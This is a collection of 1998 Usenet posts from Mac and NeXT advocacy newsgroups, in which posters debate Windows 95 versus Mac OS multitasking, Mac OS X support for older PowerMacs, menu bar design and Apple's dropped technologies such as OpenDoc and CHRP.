> In article <MPG.102a3c0fa7ecf8bf989a4b@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > IMHO, Windows 95's multitasking is a bit better than the Mac's. Not a
> > whole lot, but a bit better.
>
> I think that the difference is significant but I respect your opinion.
>
> > The general Mac user experience, IMHO, is a better than the Windows 95
> > user experience. It's not as much better than it used to be, but still
> > better.
>
> I think that the total Windows 95 experience is as good as the Mac OS
> experience.
Then you should use Window 95, and leave us Mac users out of it.
Donald
> Apple is the stupidest company in the world for letting Microsoft
> catch up to them. When they shipped System 7 it was like they thought that
> they had made the ultimate operating system and major changes weren't needed
> anymore. Now they have lost a lot of market share and had to buy NeXT to
> regain the technological advantage. If they had done that in the late 80's
> then (ignoring the possibility of brutally incompetant management) the OS
> scene might be very different.
>
> --
> Brian Quinlan
> quinlan@intergate.bc.ca
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:15:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65ACA-20BAA@206.165.43.108>
References: <35c0cd24.0@news.depaul.edu>
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>In comp.sys.next.advocacy Earl Malmrose <
>earl.malmrose@nospam.sierra.com> wrote:
>
>> Well, since the new processor is backwards compatible with the old one,
>> that's a poor reason. And this "new motherboard" as many have pointed
>out,
>> is extemely similar to older motherboards, with minor modifications, so
>> there's another poor reason.
>
>Minor modifications that Be can't figure out?
Without using expensive clean-room techniques that Apple doesn't need to
worry about.
Remember that Be Inc was GIVEN and/or licensed all the relevant info for
all pre-G3 PowerMacs BY APPLE ITSELF but not for G3 systems.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 18:08:58 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-3007981808580001@pm3a18.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net> <joe.ragosta-3007980855070001@wil34.dol.net> <6pqj6s$pf9$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 31 Jul 1998 00:06:48 GMT
In article <6pqj6s$pf9$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <joe.ragosta-3007980855070001@wil34.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > His point is that Win95 even with what you call 'true multitasking' will
> > also do the same thing.
>
> No it won't. Windows 95 will still allow you to run other programs. These
> programs may, however, cause the CD write to fail. There is nothing that the
> operating system can do about this except offer some CPU and I/O banding
> gaurantee. Realtime operating systems let you do this.
Here is a real world example where the Macs limitation of CMT perhaps is
better than Windows 95's (or even Windows NT's) PMT.
What good is the ability to run multiple programs if one of those
applications can ruin the CD recording session? And how do you know if a
program will/not interfere with the recording session? By making
coasters, that's how. I've got a CD recorder on my NT system...and I've
made plenty a coaster by multitasking while recording. I've learned to
let the thing record and leave the computer be until it is done.
So yes, in theory, Windows 95 allows you to multitask while doing this.
But I certainly wouldn't...thus, in reality, the two are equal.
Josh
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 16:31:18 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3007981631180001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R2807981105150001@news> <35beb369.0@nnrp1.news.uk.psi.net>
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In article <35beb369.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> >In article <35bd8b31.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
> >(Richard Frith-Macdonald) wrote:
> >
> >This is an incorrect belief. It is not a menu: it is a menu bar. A menu can
> >be clicked (or clicked and held) to open; the menu bar is always open. A
> >menu can have an entry selected, once the mouse button is held, by
> >releasing; the menu bar has to be clicked to have an entry selected.
>
> Sophistry - minor technicalities of a UI widget (of which I'm well aware)
do not
> change the fact that the menu-bar is a menu (or list of options if you
prefer).
Nevertheless, it is a separate widget in the Mac OS, and hence has
different behaviors.
> Perhaps I can rephrase in your terminology -
>
> A menu-bar is a a widget that lets you select from a list of text items
> (in current MacOS, items may obnly represent menus).
> A menu is a widget that lets you select from a list of text items
> (each of which may represent either a menu or an operation)
> A menu-system consists of one or more menu-bar and menu widgets.
All except for that last one are correct.
> Why does a menu system need to restrict your initial selection to a menu?
> It doesn't.
> Why must the top-level of a menu system be laid out horizontally while
the rest
> are laid out vertically?
> No reason - orientation of menus at all levels could be user selectable.
Nevertheless, the way the menu system is currently set up, it is
consistent. You claimed it wasn't. I made no claims as to whether or not
the current system "needs to be" the way it is.
> Which is more consistent - a menu system where all the widgets behave the
same way
> or a menu system where the widgets behave differently?
Each widget should behave consistently with other widgets of the same type.
By your logic, any UI is "inconsistent," because not all UI widgets behave
consistently.
> See - defining a menu-bar as a different kind of widget does not make the
system
> any more consistent.
Yes it does. You incorrectly assume that for a system to be consistent,
every widget has to behave the same.
Andy Bates.
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 31 Jul 1998 00:15:43 GMT
Organization: San Diego State University
Message-ID: <6pr2bf$c05$1@hole.sdsu.edu>
References: <6pqrb8$s9e$3@nnrp02.primenet.com> <B1E65802-1644F@206.165.43.108>
Lawson English (english@primenet.com) wrote:
: Which answers your question about your own technologies, I think. Make them
: seem like they are the Wave of the Future of Everything Apple, and users
: will flock to them. If you simply present them without marketing, no-one
: will use them.
There's more to it than marketing. I can say little against GX;
what I've seen of it, I've liked a hell of a lot, but I've not
worked with GX in any depth. But OpenDoc impressed me as a clumsy
implementation of a good idea.
More bothersome than Apple's failure to market, in my opinion, is
the shameful way in which Apple didn't just _drop_ OpenDoc or GX
(or Dylan, &c.), but cast them out and spit on them. Apple's
attitude seems to be, "We may have said this was a good idea,
but that statement is now inoperative; any way, such-and-such
a completely unrelated technology does the job just as well.
And _no_, we aren't going to let anybody else use this
technology either."
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:17:57 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65B4C-22A1B@206.165.43.108>
References: <6pqk6v$qs5$1@nnrp1.dejanews.com>
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nntp://news.primenet.com/comp.sys.next.advocacy
quinlan@my-dejanews.com said:
>
>Look at it this way: when you want to port a OpenStep application to a new
>platform what do you do? Just recompile it. Why can you do that? Because
>your
>application sits above the layer that deals directly with hardware. Just
as
>YB, BB and PDF sit above the layer (kernel + IOkit) that deals directly
with
>hardware.
But the NeXTers and Joe would have us believe that while Apple could do it
for WIntel and NeXT cubes and PCI PowerMacs using the old kernel, they
can't do it using the new kernel for systems that they are STILL supporting
with the old kernel AND MacOS 8.x.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 16:35:09 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3007981635090001@news>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net>
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In article <35bebc5e.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> If I click and drag over menus and sub-menus and end on a menu item, that
> item is activated and the menus go away.
> If I click and release on a menu then move the mouse over an item and
click-release
> then that item is activated and (this is where the systems differ) the
menu goes
> away on the MacOS, stays up on NeXTstep.
But on the Mac, you can click-release on any top-level menu item, and a
menu will appear for you to traverse. On the Next system, this only happens
if you click-release on a menu; if you click-release on a button, then the
button is executed. Thus, the Mac allows you to click-release anywhere in
the menu bar, traverse to where you want to go, and make your selection.
With the NeXT, you have to make sure that your initial click-release isn't
on a button.
Andy Bates.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 00:13:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pr26d$jco$1@nnrp1.dejanews.com>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com> <joe.ragosta-3007981652140001@wil78.dol.net>
In article <joe.ragosta-3007981652140001@wil78.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Should be. In a perfect world. In a real world, it needs to be tested.
Good point. However, if a bug is found then it was a bug in the G3 version of
the high level software as well because they shouldn't make any assumptions
that break on particular hardware.
> If your application is complicated enough, you're going to want to test it
> on various computers, anyway. Certainly something as complicated as an OS
> needs to be tested on whatever platforms it's going to be certifed for.
Yes but all the bugs that you find will be real bugs because high level
applications and operating system code shouldn't make hardware assumptions.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 03:55:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6poqs3$kvc$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <Josh.McKee-2907981815320001@pm3a7.rmac.net>
In article <Josh.McKee-2907981815320001@pm3a7.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> He was talking about multitasking as well. However, he stated that even
> though Windows 95's PMT might be better under certain circumstances, those
> circumstance don't arise often enough, or are not sufficient enough to
> warrant putting up with Windows 95's other faults.
The only time that Windows 95 multitasking is as bad as Mac OS multitasking
is when Win16 programs are running. Otherwise, Windows 95 multitasking is
superior.
> And if your Windows 95's experience is as good as the Macs experience,
> then why are you debating this?
I originally stated that Windows 95 multitasking is better than Mac OS
multitasking. That statement is still true so I am still arguing it.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 30 Jul 1998 04:05:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pore5$lq7$1@nnrp1.dejanews.com>
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6phd87$k04$1@nnrp1.dejanews.com> <6po8ls$m44@lace.colorado.edu>
In article <6po8ls$m44@lace.colorado.edu>,
Jay Riley <jay.riley@usa.net> wrote:
> I beg to differ. That is implementation specific. Where in the language
> definition in 1st or 2nd edition C++ (Stroustrup's book) do you see a run
> time architecture defined?
Neither. I also didn't see any references to how method invocation failure
should be handled when dynamic binding fails. Could you please refer me to the
correct section? And the section that refers to generic object references?
So you are correct, dynamic binding could be used but why would it be when you
can't accomplish any additional behaviors without adding to the language spec?
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:27:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65D97-2B407@206.165.43.108>
References: <joe.ragosta-3007981652140001@wil78.dol.net>
Mime-Version: 1.0
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Joe Ragosta <joe.ragosta@dol.net> said:
>
>Should be. In a perfect world. In a real world, it needs to be tested.
Which is what we've ALL been saying: it is the TESTING that is the issue.
And you CAN throw more bodies at testing and see the reduction in time
scale linearly.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:30:16 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65E2B-2D6C8@206.165.43.108>
References: <35c0de11.0@news.depaul.edu>
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Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>My concern is that fixes and work-arounds Apple has developed for
>their hardware designs may be very MacOS-specific, and won't
>translate well to the new OS. Apple would then have to find and
>fix many bugs all over again, with entirely new code in the
>Mach/IOKit paradigm (buzzword Bingo! ;) ).
But EVERY computer that we want MacOS X to support is already being
supported in Rhapsody/MacOS Server.
EVERY SINGLE ONE OF THEM. They promised sooo explicitly that they can't
back out of it (with the possible exception of a few PowerBooks that WILL
be supported by MacOS X anyway since they are G3).
Are you saying that the workarounds that Apple has been using for Rhapsody
are Mach 2.5-specific?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 00:20:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pr2k7$jt2$1@nnrp1.dejanews.com>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com> <35c0de11.0@news.depaul.edu>
In article <35c0de11.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> My concern is that fixes and work-arounds Apple has developed for
> their hardware designs may be very MacOS-specific, and won't
> translate well to the new OS. Apple would then have to find and
> fix many bugs all over again, with entirely new code in the
> Mach/IOKit paradigm (buzzword Bingo! ;) ).
Keep in mind that Apple already has a Mach 3 port for the computers in
question in the form of the MkLinux kernel. It seems silly to me that they
can support all of the older PowerMacs in MkLinux but can't support any of
them in Mac OS X.
> They could do this, but I'm still not convinced it's a good use
> of resources.
Not screwing customers should be the goal of any company that wants to stay in
buisness.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 98 17:34:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E65F3D-31723@206.165.43.108>
References: <slrn6s1snk.2o1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>On 28 Jul 98 17:46:53 -0700, Lawson English <english@primenet.com>
>wrote:
>:Joe Ragosta <joe.ragosta@dol.net> said:
>:
>:>New kernel
>:
>:They knew for over a year (almost from the NeXT purchase) that a new
>kernel
>:would be in the works. Wasn't NeXT/OpenStep supposed to go to a new
>kernel
>:even before NeXT was sold to Apple?
>
>No, I didn't hear about that.
I've heard all sorts of talk on the next.progrmmer newsgroup about how
OpenStep 4.x would be on a later kernel, but the canned it some time before
Apple bought NeXT.
If you're referring to how you never heard about something AFTER the
purchase, there was a GREAT DEAL of hooplah about using 2.5, 3.0, Solaris,
or Apple's own NuKernel. That was when Hancock was still Senior VP of
Apple, over a year ago.
Surely you recall that?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 30 Jul 1998 09:39:04 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6pp7uo$knq$1@larry.admin.phil.uu.nl>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com>
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Donald:
>The final straw was when Apple killed CHRP. Yes, Joe, Apple
>killed CHRP. The arguements for CHRP wasn't as solid as it
>had been when others backed out, but it was always pushed as
>the easy way to make clones that would run the MacOS, Apple
>had pushed that over two WWDCs and god knows how much other
>developer info, and suddenly it was gone.
"Steve Jobs." I guess. The future will tell whether it was
the right thing to do. Of course its killing is the only
reason Apple still is able to keep overpricing its machines.
(Hm, they aren't overpricing really: Apple's machines are
very nice, actually, well worth their money... but it _is_
the reason they don't need to compete.)
I really hated it when Apple killed CHRP. I like standards.
I like being able to know what to expect. I _really_ would
have liked labels proclaiming "runs on CHRP".
>* OS X gives Apple a future
It will. Like Microsoft has a future. But OS X _won't_ be
an innovative system. It will be old old _old._ I hate
that.
>* Delivering OS X will stretch Apple to the breaking point.
OS X is a rerun of Copland. I'm not sure they'll manage to
get it finished before another switch-the-CEO game is played,
and the _new_ CEO replaces it by the development of something
still different.
Freek
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 17:11:50 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3007981711500001@news>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2907981014580001@news> <35BF89D8.52280D20@exu.ericsson.se>
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In article <35BF89D8.52280D20@exu.ericsson.se>, Michael.Peck@Ericsson.com wrote:
> Andy Bates wrote:
>
> > How much computer-science background have you actually had? The time to
> > check will increase as more applications are added to the system.
>
> I assume you're familiar with magic(4) and gfile(1). The magic(4) file
> on this particular box is around 125KBytes in size, and describes
> probably several hundred different formats.
I did not mention file size; I mentioned time to check every file as it is
opened. Regardless of how much or how little time it takes, it is time that
is not necessary.
Andy Bates.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 31 Jul 1998 01:07:54 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pr5da$t1b@newsb.netnews.att.com>
References: <6ppuu6$pgu@newsb.netnews.att.com> <B1E630C9-7AE1E@206.165.43.16> <6pqrb8$s9e$3@nnrp02.primenet.com>
Originator: gupta@tlctest
Lawson English <english@primenet.com> wrote:
>: Small wonder Jobs could kill OD so easily. So-called "experts" haven't a
>: clue as to what it can do.
I do not make any claim to be an expert on OpenDoc. I am a user, not
a programmer, as far as these things go. I did download the
OpenDoc betas and play with them. But with what audience could I share
OpenDoc documents ? What good are they to me as a user ?
And rather than complaining about the lack of a review of Nisus' GXMagic,
you could have written one yourself. I think you have a valid complaint
iff you could not get any of the Macintosh sites to carry your review.
Even your rant there did not give anyone a clue as to what GXMagic can do.
-arun gupta
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 31 Jul 1998 01:10:45 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6pr5il$5ta$1@samsara0.mindspring.com>
References: <Josh.McKee-2707982145330001@pm3a20.rmac.net> <35C10A75.3010@geocities.com> <35C10BEB.72B3@geocities.com> <B1E65F3D-31723@206.165.43.108>
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In article <macman-2907982115550001@d185d1c66.rochester.rr.com> Stephen
Rea, macman@rochester.rr.com writes:
>> Microsoft doesn't depend on new hardware purchases.
>
>Sure it does. Virtually everyone with a computer that can run Windows
>already has Windows. Most of their sales are to new PCs. Even Windows 98
>hasn't been selling as well as expected, and many major vendors are still
>not shipping new machines with it.
Microsoft makes more on an upgrade than they do on a new box.
They have no huge incentive to sell a new box versus an upgrade.
Matthew Cromer
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 01:38:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pr77g$q7s$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@new <6poqeb$kbe$1@nnrp1.dejanews.com> <6ppi27$fkb$1@bartlet.df.lth.se> <6pqisq$ouq$1@nnrp1.dejanews.com> <6pqp0c$a0n$1@news.spacelab.net>
In article <6pqp0c$a0n$1@news.spacelab.net>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> That's not a "process". Manipulating the page tables is (by design) a
> kernel-mode activity, and it is normally done by the scheduler when switching
> which process is getting CPU.
In Mach 3, part of the memory management code runs as a user process called an
external pager. It handles the logical part of memory management e.g. keeping
track of the pages in use, where they are stored on disk, which ones are in
main memory, etc. A defective external pager can really screw up your system
unless you take preventive steps.
> True, although bugs in the kernel can break any system. That's why you want
> your kernel to be as stable as possible....
Exactly. The original poster seemed to suggest that you either have preemptive
multitasking (no process can stop preemption for any length of time for any
reason) or you don't. I am saying that there is really a spectrum.
> Some systems offering realtime scheduling make guarantees about the return
> time of system calls, and thus can actually preemptively switch to other
> processes even while running a realtime task.
What if I write a process that doesn't make any I/O calls and requests and
tells the OS that it requires all the CPU cycles? Won't the system grant them
to it unless there is a competing request?
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 02:35:35 GMT
Organization: Steel Driving Software
Message-ID: <01bdbc7f$d9caffb0$f9b4dccf@samsara>
References: <35c0de11.0@news.depaul.edu> <B1E65E2B-2D6C8@206.165.43.108>
Lawson English <english@primenet.com> wrote in article
<B1E65E2B-2D6C8@206.165.43.108>...
> Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
> >My concern is that fixes and work-arounds Apple has developed for
> >their hardware designs may be very MacOS-specific, and won't
> >translate well to the new OS. Apple would then have to find and
> >fix many bugs all over again, with entirely new code in the
> >Mach/IOKit paradigm (buzzword Bingo! ;) ).
> But EVERY computer that we want MacOS X to support is already being
> supported in Rhapsody/MacOS Server.
How well? How big is the installed base of Rhapsody going to be?
Will there be enough people, doing enough things with it, to
expose all the bugs? What's the hardware compatability list going
to be?
> EVERY SINGLE ONE OF THEM. They promised sooo explicitly that they can't
> back out of it (with the possible exception of a few PowerBooks that WILL
> be supported by MacOS X anyway since they are G3).
MacOS X Server is being marketed as a 'Server' OS. Which means, few
people will use it, and a lot of peripherals won't work with it. Most
devices will never get drivers. For instance, until a company
is going to be porting their audio software to YellowBox, there's
little point creating a Rhapsody driver.
Probably the only things you'll be able to hang directly off of a
Rhapsody box at first will be SCSI devices, video cards (but
probably won't support video in or out), keyboards, simple modems,
and mice. And networks, of course. Maybe someone will do a FireWire driver.
Fancy ADB devices won't be supported until the vendor writes a driver,
which would only make sense in server-oriented devices.
The lack of software for Rhapsody means that the hardware won't
be stressed in certain ways, which means hardware bugs may go
unfound.
YES, Rhapsody will run on those machines, but probably under a lot of
device-compatibility restrictions, and limited software usage that
won't allow users to exploit the full potential of the machines. They'll
be used as servers, stressing the network and disk portions of the
hardware, but not a lot of other features that Mac software takes
advantage of.
OS/X has to support a much wider variety of third party software and
hardware, so has to be just about perfect, thus the support issues are
much more complex.
In other words, Rhapsody/Mac is like the first version of NT - the
RISC versions of NT, which had a pretty limited set of peripherals
and software. As a server, and for similar tasks, it'll be great,
but not for a wide audience.
In terms of hardware compatability, at release OS/X will have to be
more like NT for Intel (or MacOS). More hardware available, and people
EXPECTING to be able to use it for a much wider variety of tasks.
(People don't *expect* to be able to use an Alpha box for all the
things that are possible with an Intel box.)
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 02:38:55 GMT
Organization: Steel Driving Software
Message-ID: <01bdbc80$4e539c20$f9b4dccf@samsara>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108>
Lawson English <english@primenet.com> wrote in article
<B1E65D97-2B407@206.165.43.108>...
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >Should be. In a perfect world. In a real world, it needs to be tested.
>
>
>
> Which is what we've ALL been saying: it is the TESTING that is the issue.
> And you CAN throw more bodies at testing and see the reduction in time
> scale linearly.
